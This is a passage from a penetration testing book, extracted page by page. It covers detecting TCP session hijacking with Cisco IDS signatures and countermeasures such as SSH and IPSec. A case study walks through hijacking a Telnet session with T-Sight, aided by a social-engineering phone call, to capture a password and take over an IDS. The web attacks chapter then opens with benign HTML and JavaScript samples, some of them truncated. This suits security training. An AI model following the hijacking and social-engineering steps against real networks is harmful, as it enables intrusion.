Viewer (IEV) installed to \nmonitor alarms. \n" }, { "page_number": 181, "text": "154\nChapter 6: Understanding and Attempting Session Hijacking\nFigure 6-26 Ethereal: IDS Network\nThis example of detecting session hijacking with Cisco IDS assumes the following network \nsetup:\n•\nTypical client \n— OS: Linux\n— IP address: 192.168.200.21 \n— MAC address: 00-11-2F-0F-6E-DB\n— Application: Telnet client\n•\nTelnet server (victim)\n— OS: Windows 2003 Server\n— IP address: 192.168.200.100\n— MAC address: 00-50-56-00-EE-EE\n— Application: Telnet server (port 23)\n•\nAttacker (Evil Jimmy the Hacker)\n— OS: Windows 2000 Pro\n— IP address: 192.168.200.13\n— MAC address: 00-50-56-00-0B-AD\n— Application: T-Sight (for attack)\n•\nIDS Sensor (DAWN-IDS)\n— Model: Cisco 4215 Sensor\n— Standard install\n— Web interface IDS Device Manager (IDM) to configure the sensor\n•\nIDS Console\n— OS: Windows XP\n— IEV to monitor events\nHijacking\nClient\nOS: Linux\nIP: 192.168.200.21\nMAC: 00-11-2F-0F-6E-DB\nTelnet Server (Victim)\nOS: Windows 2003 Server\nIP: 192.168.200.100\nMAC: 00-50-56-00-EE-EE\nEvil Jimmy (T-Sight)\nOS: Windows 2000\nIP: 192.168.200.13\nMAC: 00-50-56-00-0B-AD\nIDS Sensor\nIDS Console (IEV)\nCommand and Control\nIP: 10.1.9.201\nTelnet Connection\n" }, { "page_number": 182, "text": "Detecting Session Hijacking 155\nCisco 4215 has three basic signatures on which to focus during the detection of session \nhijacking:\n•\n1300—TCP Segment Overwrite\n•\n3250—TCP Hijack\n•\n3251—TCP Hijacking Simplex Mode\nFirst, you log in to the IDM IDS Management Center web interface to access the Network \nSecurity Database (NSDB) and the signature engine. The steps to do this are as follows:\nNOTE\nCisco IDS 4200 series sensors run on Red Hat Linux and come with at least two interfaces \n(network cards). One interface is for sensing, and the other is designed to link to a secure \nLAN used to control and configure alarm monitoring.\nStep 1\nOn the computer that is connected to the Command and Control LAN, \nopen Internet Explorer to the default path of https://10.1.9.201.\nStep 2\nEnter your login credentials. (See Figure 6-27.)\nFigure 6-27 IDS Login Dialog Box\n" }, { "page_number": 183, "text": "156\nChapter 6: Understanding and Attempting Session Hijacking\nStep 3\nYou should now be at the default page. (See Figure 6-28.)\nFigure 6-28 Default IDS Device Manager Page\nSignature 1300: TCP Segment Overwrite\nThe segment overwrite does not always show up, but it is noticed quite often during a T-\nSight session hijack. The NSDB provides the best description for this signature: \nThis signature fires when one or more TCP segments in the same stream overwrite data \nfrom one or more segments located earlier in the stream. This may indicate an attempt \nto hide an attack. Overwriting TCP segments do not normally occur and should be \ntreated with suspicion.\nTo open the NSDB database for more detail about TCP Segment Overwrite, click the \nNSDB link in the top-right corner of the IDS Device Manager web page. Then navigate to \nSignature 1300. Figure 6-29 displays the NSDB entry for TCP Segment Overwrite.\n" }, { "page_number": 184, "text": "Detecting Session Hijacking 157\nFigure 6-29 Signature 1300: TCP Segment Overwrite\nSignature 3250: TCP Hijack\nThe 3250 signature can be a little touchy in firing off. To make it a little more sensitive, you \nneed to modify a few of its basic parameters. The NSDB provides the best description for \nthis signature: \nTriggers when both streams of data within a TCP connection indicate that a TCP \nhijacking may have occurred. The current implementation of this signature does not \ndetect all types of TCP hijacking, and false positives may occur. Even when hijacking is \ndiscovered, little information is available to the operator other than the source and \ndestination addresses and ports of the systems being affected. TCP hijacking may be \nused to gain illegal access to system resources.\nFigure 6-30 shows the NSDB entry for the TCP Hijack signature.\n" }, { "page_number": 185, "text": "158\nChapter 6: Understanding and Attempting Session Hijacking\nFigure 6-30 Signature 3250: TCP Hijack\nThe TCP Hijack signature is enabled right out of the box, although its settings might be a \nlittle too lenient by default and fail to fire during a legitimate hijack. Table 6-1 shows the \ntwo basic settings to change before beginning with detection.\nTable 6-1\nParameters to Modify for the TCP Hijack Signature\nParameter\nDefault\nChange \nto (Tuned)\nDescription\nCapturePack\nFalse\nTrue\nSet to True to include the offending packet in \nthe alarm\nHijackMaxOldAck\n200\n20\nMaximum number of old dataless client-to-\nserver acknowledgments is allowed before \ntriggering a hijack\n" }, { "page_number": 186, "text": "Detecting Session Hijacking 159\nTo configure the signature:\nStep 1\nFrom the IDM, click the Configuration tab.\nStep 2\nClick the Sensing Engine link on the top. \nStep 3\nOn the left under Virtual Sensor Configuration, click Signature \nConfiguration Mode. (See Figure 6-31.)\nFigure 6-31 Signature Configuration Mode\nStep 4\nClick the All Signatures link.\nStep 5\nOn the web pull-down called Page, select the signature range that \nincludes 3250. (See Figure 6-32.)\n" }, { "page_number": 187, "text": "160\nChapter 6: Understanding and Attempting Session Hijacking\nFigure 6-32 All Signatures\nStep 6\nCheck the square box next to the 3250 signature; then click Edit. (See \nFigure 6-33.)\n" }, { "page_number": 188, "text": "Detecting Session Hijacking 161\nFigure 6-33 Editing a Signature\nStep 7\nNow change the CapturePack to True and hijackMaxOldAck to 20. Click \nOK. (See Figure 6-34.)\n" }, { "page_number": 189, "text": "162\nChapter 6: Understanding and Attempting Session Hijacking\nFigure 6-34 Modifying and Accepting a Signature\nStep 8\nClick the Activity icon in the upper-right corner of the page to save your \nsettings to the IDS.\nSignature 3251: TCP Hijacking Simplex Mode\nThe 3251 signature is the simplex mode hijacking, whereby a command is injected and then \nfollowed by a TCP reset. Again, the NSDB provides the best description for this signature: \nTriggers when both streams of data within a TCP connection indicate that a TCP \nhijacking may have occurred. The current implementation of this signature does not \ndetect all types of TCP hijacking, and false positives may occur. Even when hijacking is \ndiscovered, little information is available to the operator other than the source and \ndestination addresses and ports of the systems being affected. \nTCP hijacking can be used to gain illegal access to system resources.\n" }, { "page_number": 190, "text": "Detecting Session Hijacking 163\nSimplex mode means that only one command is sent, followed by a connection RESET \npacket, which makes recognition of this signature different from regular TCP Hijacking \n(sigID 3250).\nFigure 6-35 shows the Network Security Database entry for the TCP Hijacking Simplex \nMode signature.\nFigure 6-35 Signature 3251: TCP Hijacking Simplex Mode\n" }, { "page_number": 191, "text": "164\nChapter 6: Understanding and Attempting Session Hijacking\nNOTE\nThe Cisco IEV is a Java-based application that enables you to view and monitor up to five \ndifferent IDS sensors at the same time. IEV supports real-time alarm monitoring or \nhistorical analysis. IEV integrates with Ethereal for packet analysis and with the NSDB for \nalarm and signature descriptions. \nWatching a Hijacking with IEV\nNow that the Cisco IDS is ready to go, this section shows how you can see alarms and \nevents within IEV. First, open your IEV application and make sure it is configured to \nconnect to your IDS device. Then open the Realtime Dashboard. (See Figure 6-36.)\nFigure 6-36 Opening the IEV Application\nThis dashboard is a great place to monitor alarms and events while they happen. Now as \nyour session hijacking takes place, the dashboard pulls the alarm from the IDS sensor and \ndisplays it on the screen. As Figure 6-37 displays, the sensor picked up the TCP Hijack \nsignature alarm. This alarm usually fires when the original client tries to send data after the \nhijacking is in progress rather than when a hijacking first took place. When the original \nclient attempts to send data during a hijacking in progress, this causes an ACK storm, which \nis monitored by the sensor for the count of 20. On the twenty-first event, the alarm is \ntriggered and the packet is recorded. One thing to point out is that the IDS reports an alarm \nonly if the original client sends data traffic. If the original client never sends data, the IDS \ndoes not generate an alarm.\n" }, { "page_number": 192, "text": "Detecting Session Hijacking 165\nFigure 6-37 TCP Hijack Signature Detected\nNow you have an alarm and packet recorded. You can open the offending packet that \ntriggered the alarm with Ethereal. Figure 6-38 shows how to right-click the alarm and select \nShow Captured Packet from the resulting drop-down menu. Figure 6-39 displays the \ncaptured packet within Ethereal.\nNOTE\nThe Cisco IEV interlinks with Ethereal if it is installed for packet analysis. \nFigure 6-38 Launching Ethereal from the Realtime Dashboard\nIn a controlled environment with T-Sight, you might see the 1300 signature alarm first, and \nthen shortly after a TCP Hijack, you might see signature 3250. Figure 6-40 shows both \nsignatures picked up during a single session hijacking. \n" }, { "page_number": 193, "text": "166\nChapter 6: Understanding and Attempting Session Hijacking\nFigure 6-39 Ethereal Displaying the Offending Packet Details\nFigure 6-40 Multiple Signatures Detected by IEV\n" }, { "page_number": 194, "text": "Protecting Against Session Hijacking 167\nProtecting Against Session Hijacking\nSession hijacking is tricky business, and IDS monitoring is only a calculated guess based \non assumptions of traffic patterns. The Cisco IDS did a good job of monitoring T-Sight \nsession hijacking, but in several cases, alarms were missed and a few attacks went \ncompletely unnoticed. For example, if the original client never communicated during the \nhijacking or if a client connection was reset before ACK storms occurred, the 3250 \nsignature would never be triggered, and the attack would go through unnoticed. This is not \nthe fault of IDS; it is just that not enough suspicious traffic is sent to provide a reliable \ndetection. Prevention is the only true protection, and IDS or a super-human watching \nEthereal packet sniffing traffic like the Matrix screen saver are too unreliable for all \npossibilities. \nPreventing session hijacking is quite difficult because of the nature of TCP and how easy it \nis to take over Layer 4 communication. However, by implementing encryption or signing \nprotocols, you can affectively increase the difficultly level you need to accomplish \nsuccessful hijacking. Table 6-2 shows several different solutions that you can use to help \nprevent or assist you in making hijacking more difficult.\nTable 6-2\nPreventative Solutions to Session Hijacking\nIssue\nSolution\nNotes\nTelnet, rlogin\nOpenSSH or ssh \n(Secure Shell)\nUse SSH to send encrypted data. If the session is \nhijacked, the attacker will have difficulty sending the \ncorrectly encrypted data. \nFTP\nsFTP\nUsing secure FTP can help minimize successful \nhijacking.\nHTTP\nSSL (Secure Socket \nLayer)\nUsing SSL can help minimize successful hijacking.\nIP\nIPSec\nIPSec is an effective way to prevent hijacking. You \nshould use it on an internal LAN whenever possible.\nAny remote \nconnection\nVPN (encrypted)\nUsing PPTP, L2TP, or IPSec will always help \ndramatically and should always be used for remote \nconnections.\nSMB (Server \nMessage Block)\nSMB signing\nThe Microsoft-based system can enable signing of \ntraffic, which can help minimize successful \nhijacking and should be turned on whenever \npossible. \nHub networks\nUse switches\nThis provides only mild protection because attackers \ncan employ ARP spoofing. Therefore, you should \nuse port security in addition to switches, which maps \nyour ports to specific MAC addresses and mitigates \nthe risk of ARP spoofing.\n" }, { "page_number": 195, "text": "168\nChapter 6: Understanding and Attempting Session Hijacking\nEven implementing all the precautions in Table 6-2, a best practice is to limit the remote \naccess and number of connections to your servers or clients whenever possible. Go by the \nrule of thumb, “If you don’t think you need it, turn it off until someone screams.” Basically, \nif you are locking down a system or firewall, open and provide permission to open only \nwhat you specifically need and from specific hosts. Do not allow all traffic from just any \nhost. That does not prevent hijacking, but it lowers the likelihood.\nNOTE\nIPSec encryption has been around for quite some time, and Microsoft Windows 2000 and \nlater fully support IPSec connections, which limits most hijacking attempts. However, \npeople who are new to IPSec usually feel that its implementation is too cumbersome or \ndifficult to roll out to all clients, thus leaving their underlying networks completely \ninsecure, and a dream for hackers.\nCase Study\nThis section looks at a basic session hijacking attack against a Telnet session using T-Sight. \nYou can use the same scenario against any Cisco device systems that allow TCP session \nconnections, such as Telnet. \nThis case study shows a poorly designed IDS network, where the command and control \ninterface is accessible to hacker Evil Jimmy. To set the scene, the company named Little \nCompany Network (also known as LCN) has had some recent security issues, and \nmanagement has allowed the networking team to purchase and install an IDS. As expected, \nthe team rushed right out and bought a new Cisco IDS and installed several inexpensive \nhubs to get the maximum viewing of their newfound toy. The team also purchased IEV to \nmonitor and record alarms. \nThe team did not have enough computers or network equipment to place the command and \ncontrol interface on a separate secure network, and time was of the essence to get it \ninstalled. It decided to connect the command and control interface to the standard LAN. It \nknew it should not do that, but it thought the risks were minimal and put forth efforts to \nmake it more difficult to break into. \nThe team knew that the IEV and IDS communication was SSL, which is generally secure, \nso this was considered safe. Then the team gave the sensor a long 10-character password to \nhelp thwart password guessing to the command and control interface. Next, it enabled \nTelnet on the system for ease of access, just like it did on all other networking devices. LCN \nknows that Telnet is insecure somehow, so the team made sure that the IDS was configured \nto allow only the computer IP addresses of the networking teams to connect via Telnet to \nthe command on control interface. Finally, the team could install the IEV collection \nsoftware on an existing computer on the network and save hardware costs. With all this \ndone, the team felt it was ready to launch into production and connect the command and \n" }, { "page_number": 196, "text": "Case Study\n169\ncontrol interface into the LAN. Figure 6-41 shows the LCN network and where Evil Jimmy \nwill be hijacking the session. \nFigure 6-41 LCN Network\nIt was here that things started to go wrong. The team never should have configured Telnet \non the IDS. This weakness gave Evil Jimmy the patience to wait in the background for the \nLCN networking team to Telnet, at which point he could hijack the session and compromise \nthe entire IDS. Evil Jimmy will probably not destroy the system, but just disable all the \nalarms he might trigger over the next few weeks. This allows Evil Jimmy free reign over \nthe network because the LCN networking team will be blindly watching for alarms on a \nsystem that Evil Jimmy completely controls. \nNOTE\nThis scenario of connecting the command and control interface to the standard LAN is not \nthat far fetched. However, the configuration of Telnet on any Cisco system such as PIX \nFirewalls, routers, switches, and IDS should never be done at all costs.\nWatch as Evil Jimmy goes to work:\nStep 1\nBeing cautious, Evil Jimmy packet sniffs the target network to discover \ncontinuous HTTPS (SSL) traffic between two computers. The traffic is \nmoving all day long, and he suspects that IEV is pulling alarm data from \na sensor. He dares not port scan, because it might lead to detection.\nStep 2\nEvil Jimmy starts T-Sight and waits for a Telnet session to the IDS. (See \nFigure 6-42.)\nEvil Jimmy (T-Sight)\nOS: Windows 2000\nIP: 192.168.200.13\nClient\nOS: Linux\nIP: 192.168.200.21\nIDS Sensor\nCommand and Control\nIP: 192.168.200.201\nTelnet Connection\nHijacking\nIDS Console (IEV)\n" }, { "page_number": 197, "text": "170\nChapter 6: Understanding and Attempting Session Hijacking\nFigure 6-42 Starting T-Sight\nStep 3\nEvil Jimmy calls the networking team and uses a little social engineering \non the LCN team about some new Cisco IDS alarm graphing software \nthat is a lot better than IEV. However, it works only with certain versions \nfor IDS installation. Evil Jimmy convinces the networking guy to Telnet \nin and get the version information of the IDS and see if he can actually \nuse this fictitious software. Note that this step is optional. Evil Jimmy \ncould just sit back and wait for a normal ad-hoc Telnet connection to the \nIDS system.\nStep 4\nEvil Jimmy picks up the Telnet connection to the IDS system after the \nLCN team member follows his instructions. (See Figure 6-43.)\nFigure 6-43 Picking Up a Telnet Session\nStep 5\nEvil Jimmy double-clicks on the connection to bring up the dialog box \nshown in Figure 6-44. From here, Jimmy selects Realtime Playback.\n" }, { "page_number": 198, "text": "Case Study\n171\nFigure 6-44 Viewing a Telnet Session in Real-Time Playback\nStep 6\nNow Evil Jimmy can watch as the LCN administrator logs into the sensor \nand captures the password. At the bottom of Figure 6-45, you can see the \nusername of cisco and the password of 13579“$^*)^M. (The ^M \nrepresents a carriage return.) This is all that Evil Jimmy needs usually; \nhowever, IP address restrictions have been put in place, so he will \nactually take over the session because it is so easy to do so.\nFigure 6-45 Watching the Session and Collecting Passwords\n" }, { "page_number": 199, "text": "172\nChapter 6: Understanding and Attempting Session Hijacking\nStep 7\nEvil Jimmy hijacks the session and starts to play with it, as Figures 6-46 \nand 6-47 show. As you can see, Evil Jimmy has complete control over the \nconnection and can enter into any part of the system that the original \nLCN administrator could.\nFigure 6-46 Hijacking the Session\nStep 8\nThe system has been compromised. Now it is only a matter of time before \nall needed signatures are turned off, backdoor administrator accounts are \ncreated, and log files are compromised. Then Evil Jimmy can focus his \nefforts on the rest of the network, knowing he really is not being watched. \nThis type of attack demonstrates the dangers of session hijacking. To prevent against \nmalicious hackers like Evil Jimmy, disable Telnet on all your devices and enable something \nbetter, such as SSH (which most Cisco devices support).\n" }, { "page_number": 200, "text": "Summary 173\nFigure 6-47 System Compromised!\nTIP\nThe authors of this book have seen and taken advantage of clients using this network design \nalong with dozens of router and PIX installations where internal Telnet was enabled. This \ntype of data makes great data for your Penetration Test Report! Even when you cannot \nsuccessfully use session hijacking, there are other ways to hijack a session, which you will \nsee in Chapter 9, “Cracking Passwords.”\nSummary\nThis chapter introduced session hijacking, which is the process of taking over an already \nexisting TCP session between two hosts. This is especially dangerous because malicious \nhackers do not need to know passwords to gain access to systems; they merely need to take \nover an authenticated session between a host and a server. \nYou can accomplish session hijacking using tools such as Hunt and T-Sight.\nYou can detect session hijacking attempts by using packet sniffers or IDSs or by monitoring \nyour network for symptoms like hanging applications. \n" }, { "page_number": 201, "text": "174\nChapter 6: Understanding and Attempting Session Hijacking\nTo prevent session hijacking, use encrypted communications. Use switches instead of hubs \nto minimize the threat in shared Ethernet environments. Disable Telnet access to network \ndevices such as routers and switches, and use secure protocols such as SSH when available. \nSession hijacking is a scary reality that network administrators need to be aware of. Not \ntaking steps to detect and prevent these attacks is negligence. \nLike all topics covered in this book, be sure to read up on the latest session hijacking \ntechniques regularly. Review such web sites as the SANS reading room (http://\nwww.sans.org), Phrack magazine (http://www.phrack.com), and the Security Focus web \nportal (http://www.securityfocus.com). \nResources\nhttp://www.ietf.org/rfc/rfc0793.txt\nSteve Bellovin, Defending Against Sequence Number Attacks, RFC 1948, http://\nwww.ietf.org\nRobert Morris, http://www.pdos.lcs.mit.edu/~rtm/papers/117-abstract.html\nMichael Schiffman, http://www.phrack.com/show.php?p=48&a=14\n" }, { "page_number": 202, "text": "TTThhhiiisss pppaaagggeee iiinnnttteeennntttiiiooonnnaaallllllyyy llleeefffttt bbblllaaannnkkk \n" }, { "page_number": 203, "text": "Everyone is a moon and has a dark side which he never shows to anybody.\n—Mark Twain\n" }, { "page_number": 204, "text": "C H A P T E R 7\nPerforming Web Server Attacks\nIt is no longer necessary to drive down to the local mall to shop for goods; now, shoppers \ncan buy virtually anything online. Groceries, hard-to-find collectibles, cars, electronics, and \nbooks—the list is endless as to what you can buy on the World Wide Web. Yet this ease of \nshopping comes at the expense of increased security concerns. Although the security risks \nof shopping online are really no greater than those of shopping in person, the appeal of \nonline attacks is greater for the potential thief. Now a malicious hacker can attack from the \nsafety of his own home and go virtually undetected. Web hacking is also attractive for the \nanonymity that it offers. It is more appealing to steal from someone you cannot see than it \nis when someone is watching your every move.\nThese attacks often go undetected. Even when they are detected, they are difficult to trace \nback to the source of the attack. For these reasons, companies are hiring penetration testers \nto assess the security of their online presence. This test should include attempts to break \ninto a website and to assess if the attempted attacks are being detected. \nAs with other chapters, this chapter concludes with a section on how to detect these attacks.\nUnderstanding Web Languages\nThe introduction of the Internet has caused an explosion of technology and resulted in a \nrace to see who will provide the dominant web server and backend languages. HTML, the \nbackbone of the web presentation, does not seem to be going away anytime soon, but there \nis also the race for which web server technology and scripting programmers will use. For \nexample, Microsoft is pushing the Active Server Pages (ASP) and .NET services to aid \nprogrammers in dynamic content; however, Sun and IBM are pushing their own engines, \ntoo—.jhtml and .jsp. With so many possible technologies, as you will see in the rest of the \nchapter, it is easy to switch from one platform to another without perhaps ever really \nacquiring a specialist on any single platform. This leaves penetration testers and web \nhackers with common and predictable website implementations that are not totally secure. \nFurthermore, penetration testers and web hackers might possibly find sample or demo code \non websites, or even poorly designed (and insecure) websites. Every day, websites are \ndefaced and exploited because of lack of total knowledge about web language, design, and \nserver configuration.\n" }, { "page_number": 205, "text": "178\nChapter 7: Performing Web Server Attacks\nThis first section covers several of the web languages and some of their history. However, \nthis is only one chapter with a subject that is immense and could easily expand into several \ndetailed books. You should continue to increase your knowledge of the basic languages one \nby one until you became a well versed web penetration tester. Remember: The more you \nknow, the faster and better you will be able to pick apart a website looking for clues and \navenues of entry into the server of the victim. \nTable 7-1 lists some of the web extensions you will come across on the web. This should \naid you in narrowing what web language a target is using on his back end.\nNOTE\nLook at the W3Schools website (http://www.w3schools.com/w3c/default.asp) for great \ntutorials and information about web technologies and languages.\nA basic time line of when each web language or technology started to reach the market also \nhelps to give you an idea of which technologies are new and which are really old (and thus \nless used today):\n•\n1960—General Markup Language\n•\n1969—C Programming\n•\n1986—Standard Generalized Markup Language (SGML)\n•\n1987—Perl\nTable 7-1\nWeb Extensions\nFile Extension\nClient or Server-Side\nDescription\n.htm, .html, or .html4\nClient-side\nHTML\n.dhtml or a non-recognizable file \nextension\nClient-side\nDynamic HTML\n.xml\nClient-side\nExtensible markup language\n.js\nClient and server-side\nJavaScript\n.xhtml\nClient-side\nHTML combined with XML\n.asp\nServer-side\nActive Server Pages\n.php, .php3, or .phtml\nServer-side\nPersonal Home Page\n.cfm\nServer-side\nColdFusion\n.pl\nServer-side\nPerl\n.cgi or cgi-bin\nServer-side\nCommon Gateway Interface\n.jsp\nServer-side\nJava Server Pages\n.jhtml\nServer-side\nSun JavaSoft\n" }, { "page_number": 206, "text": "Understanding Web Languages 179\n•\n1989—HTML\n•\n1991—Java—Private to Sun only, Visual Basic 1.0\n•\n1993—CGI\n•\n1995—ColdFusion, PHP, JavaScript; Java goes public\n•\n1996—XML was drafted, JScript, ASP\n•\n2000—XHTML\nTIP\nA great location for finding historical information or answers to technology questions is \nhttp://www.wikipedia.org/. This site has a free content encyclopedia with thousands of \narticles. \nHTML\nHTML is the de facto syntax used today to format web pages. When you open a web page, \nyou see text in different colors, sizes, buttons, list boxes, pictures, and even links to other \nweb pages. All standard web pages are formatted in a predefined structure of HTML. If you \nopen them with a basic editor such as Notepad, you can see the source code used to format \nthe web page. Figure 7-1 shows the source code for a sample web page, called hello.html, \nwithin Notepad. If you open the same file within the Internet Explorer or Mozilla Firefox \nbrowsers, however, all the element parts are removed and all your eyes see is neat, clean \ntext, as demonstrated in Figure 7-2.\nFigure 7-1\nHTML in Notepad\n" }, { "page_number": 207, "text": "180\nChapter 7: Performing Web Server Attacks\nFigure 7-2\nHTML Displayed in Browsers\nHTML is the syntax used to help give web pages all those pretty colors and features. \nOriginally created in 1989 by Tim Berners-Lee, HTML is based on the slightly older \nlanguage SGML and on elements. These elements help to tell the formatting program \n(Mozilla, for example) how to present the data on the screen of the user. For example, look \nat Figure 7-3. \nFigure 7-3\nHTML Formatting\n" }, { "page_number": 208, "text": "Understanding Web Languages 181\nThe words “This is Wonderful” between the beginning tag and the ending tag \n are displayed in the title bars of the browsers. Next, you can see the word \n“Welcome,” which is between an opening tag and a closing tag . This tells the \nbrowser that all text between these two tags should be bold. HTML was not made to be \nparticularly sophisticated or to provide flashy moving content; rather, it is a static \nformatting language that has stood the test of time to become a great universal formatter.\nAs a penetration tester, the better you know HTML and all its ins and outs, the better you \nwill be able to read and understand web pages. You can start to learn the basics at great sites \nsuch as these:\nhttp://www.w3.org/MarkUp/\nhttp://www.w3.org/People/Raggett/tidy/\nNOTE\nIf you want to know more about the history of HTML, always hit the http://www.w3.org \nwebsite. The World Wide Web Consortium oversees the standard. Also look at http://\nwww.w3.org/People/Berners-Lee/, for notes from the founder of HTML. \nDHTML\nDynamic HTML extends standard HTML by allowing control over web pages at the \nbrowser of the client. For example, if you go to a website that changes images, launches \npopup boxes, or has links that change color as you move your mouse over them, that site \nprobably uses DHTML. Within the available elements list for HTML are several that can \nadd tremendous programmer control and flexibility to create Flash animation and powerful \nweb pages. DHTML is used on almost all the bigger websites because it enhances the \ncustomer experience. \nThe DHTML in Example 7-1 demonstrates how to change color from black to yellow when \nyou move your mouse over it. Then in Example 7-2, the DHTML provides two buttons to \nselect all check boxes or deselect all check boxes. It does this by implementing a \n\n \n \n
\n \n \n
\n Hacker
\n Cracker
\n Pen tester
\n
\n \n\n" }, { "page_number": 210, "text": "Understanding Web Languages 183\nFigure 7-4\nDHTML and JavaScript Check Box Example\nXML\nLike HTML, Extensible Markup Language (XML) was derived from the original SGML \nstandard. It was the next step in the evolution of making data understandable by all types \nof platforms. Before XML, systems or applications sent data in a specific format that was \ntypically understandable only between the two systems. One sample format was comma-\nseparated value (CSV) files. CSV files were raw data separated by commas or tabs. If you \nwere to open a CSV file that you did not actually create or know a great deal about, you \nwould find it difficult to understand what every data point was. Formats like CSV were easy \nto make but not expandable or versatile. Then along came the concept of XML, where data \ncan be described and is understandable within the file. XML comes in two parts: the \ndocument, which contains data; and the Document Type Definition (DTD), which describes \nwhat type of data is stored in the document. Example 7-3 is a DTD called ForSale.dtd that \nwas created for houses for sale.\nThis DTD shows an element called House that contains year, bedrooms, garage, price, and \ncolor information. Every house for sale contains this data in that order. Next, look at \nExample 7-4, which has some data in an XML document that goes with this DTD. \nExample 7-3\nSample DTD\n\n\n \n\n\n\n\n" }, { "page_number": 211, "text": "184\nChapter 7: Performing Web Server Attacks\nThis document stores the data of houses in a verbose way. If you look at it closely enough, \nyou should see three different houses for sale. A simple way to think of XML is that it is \njust a detailed, longhand way of storing data. One of the greatest features of XML is that it \nallows you to stylize raw data into other formats. For example, by using XSLT templates, \nyou can convert (style) XML into HTML, Word documents, Excel spreadsheets, or even \ncomma-separated value files.\nXHTML\nThis XML idea for developers took off really well. The W3C has given HTML its final \nrelease in HTML 4. The next generation of HTML will be XHTML, which is a combination \nof XML and HTML. The new structure is still in its early stages but will graduate into a \nfully functional and adopted technology over the next few years. Keep a lookout for web \npage changes and new security holes, because new technologies typically contain these in \ntheir early days. \nExample 7-4\nXML Data Corresponding to the DTD in Example 7-3\n\n\n\n \n 1969\n 4\n 2 car\n 100,000\n green\n \n \n 1973\n 4\n 1 car\n 200,000\n Blue\n \n \n 1990\n 2\n 1 car\n 200,000\n purple\n \n\n" }, { "page_number": 212, "text": "Understanding Web Languages 185\nJavaScript\nJavaScript, originally called LiveScript, is not actually Java. This comes as a surprise to \nmany. Sun Microsystems created Java to be a compiled language. Brendan Eich of \nNetscape created JavaScript in 1995 as a client-side interpreted language. The only true \nrelationship between the two is the name for marketing hype. \nJavaScript has become the standard in client-side scripting for web page developers and \nbrowser vendors alike. The language allows the web pages to interact with the users without \nhaving to go all the way back to the web server (also known as DHTML). For example, all \nthose nasty popup windows, alert boxes, or forms validating proper e-mail addresses were \nprobably the result of some nice JavaScript coding. As the “DHTML” section \ndemonstrated, JavaScript was used to select all the check boxes or display the time on the \nweb page in the ASP section. It has almost limitless possibilities. \nYou can write JavaScript directly into the web page, as seen in previous examples and as \ndemonstrated in Example 7-5. \nYou can also place the code in a completely separate file that is referenced and which \nusually has the extension of .js. This approach allows developers to share the same \nJavaScript code across several web pages and is sometimes called “external JavaScript.” \nExample 7-6 demonstrates referencing of a file called js_functions.js, which is displayed in \nExample 7-7. Several web pages can point to this one file. Also, when developers make bug \nfixes in one location, all web pages referencing the file are affected. \nExample 7-5\nJavaScript\n\n \n JavaScript Example\n \n \n \n Welcome

\n

\n \n
\n \n\n" }, { "page_number": 213, "text": "186\nChapter 7: Performing Web Server Attacks\nFor more information about JavaScript and coding examples, check out http://\nwww.w3schools.com/js/default.asp.\nNOTE\nJavaScript is on the client side, and hackers can modify it manually. Therefore, when you \nare hacking a website that is preventing you from sending the data that you want to, make \njust a simple change to the code on the local web page (if possible) so that you can continue \nyour penetration.\nJScript\nJScript is the Microsoft version of JavaScript with Internet Explorer. It opens the possibility \nof using Microsoft ActiveX components and giving developers even more flexibility on the \nclient browser. For more information on JScript, see http://www.microsoft.com.\nVBScript\nVisual Basic is an easy-to-learn, high-level programming language that has been around \nsince 1991. From Visual Basic, Microsoft created a lightweight interpreted language and \ncalled it VBScript. Like JavaScript, VBScript is easy to use and learn and even has massive \nsupport groups and websites dedicated to providing free examples and demonstrations on \nthe web. VBScript is used in all things Microsoft, from ASP pages and client-side DHTML \nExample 7-6\nReferencing a JavaScript File\n\n \n JavaScript Example\n \n \n \n Welcome

\n

\n \n
\n \n\nExample 7-7\njs_functions.js File\n function WelcomePop()\n {\n alert(“Welcome to JavaScript Hacker!”);\n}\n" }, { "page_number": 214, "text": "Understanding Web Languages 187\nto Windows scripting hosts. Even in Windows, new Active Directory .vbs files (VBScript) \nare being used in place of the common batch files .bat. With all this going for it, VBScript \nhas one small problem: It does not work well on non-Microsoft products. Nevertheless, \nbecause Microsoft products dominate the market, this really is not much of an issue. \nPerl\nPractical Extraction and Report Language (Perl) is one of the oldest scripting languages on \nthe web, dating its creation by Larry Wall back to 1987. Perl is basically a high-level \nscripting language. Although the language had a slow beginning, it soon evolved into a \nfantastic scripting language that almost every mainstream operating system today supports:\n•\nWindows\n•\nUNIX and Linux\n•\nMVS by IBM \n•\nCray supercomputers\n•\nMacOS\n•\nVMS by Digital \n•\nOS/2\n•\nAS/400\nNOTE\nPerl.org is a great website to find the latest developments in Perl. It also has a nice time line \nweb page (http://history.perl.org/PerlTimeline.html) that makes an interesting read.\nAnother useful resource for Perl information is http://www.cpan.com (Comprehensive Perl \nArchive Network). The site slogan is “Here you will find All Things Perl.” \nLike VBScript and JavaScript, Perl is typically an interpreted language that you compile on \nthe fly. You can compile it to some degree, however, in the effort to hide source code. The \nlanguage is extremely powerful and versatile, and you can use it for just about anything \nfrom web server-side CGI scripting to hacking tools such as Whisker or even standalone \napplications.\nNOTE\nBecause Perl is interpreted, you have to install an interpreter such as ActivePerl from http:/\n/www.activestate.com to enable the computer to understand your .pl scripts.\nYou can also compile Perl scripts into .exe programs by using third-party products such as \nPerl2Exe. You can locate Perl2Exe at http://www.indigostar.com/perl2exe.htm. \n" }, { "page_number": 215, "text": "188\nChapter 7: Performing Web Server Attacks\nIf you are familiar with coding C or UNIX shell style languages, you will notice \nsimilarities. In Example 7-8, the Perl script is expecting arguments that will be inserted into \nnew variables called @myvalue. This variable will contain an array of arguments passed \ninto the script for later use. Next, the print statements will create the output shown in \nExample 7-9. \nPerl has been around for a long time, and it continually grows in popularity. Several hacking \ntools/scripts and the like have been built using this free language. Therefore, always keep \nPerl learning a priority, and watch for it on the web and in your hacking toolsets. Perl is \neverywhere, so search for great tutorials like http://www.sthomas.net/roberts-perl-\ntutorial.htm to get you started.\nASP\nASP provides the capability to create truly dynamic content, which neither HTML nor \nDHTML could ever do. ASP is one of several server-side technologies that allow web \nservers to dynamically create pages on the fly based on user requests. For example, if you \nsend a search engine a parameter of “cow,” it goes to a results page that displays cow \ninformation. Now, if a different person goes to the same page but sends “dog,” data about \ndogs comes back on the same requested page. This is classic server-side scripting, which \nyou will see again with CGI, PHP, JSP, JHTML, and CFM. All of these technologies behave \nsimilarly to ASP. The server contains a page with the designated extension—in this case \n.asp. This page contains programming code embedded within the HTML text. As the web \nserver processes the page, it removes the code, creates HTML-type content, and returns it \nto the requester.\nExample 7-8\nPerl Script Code\n# This is a comment\n# The script will print 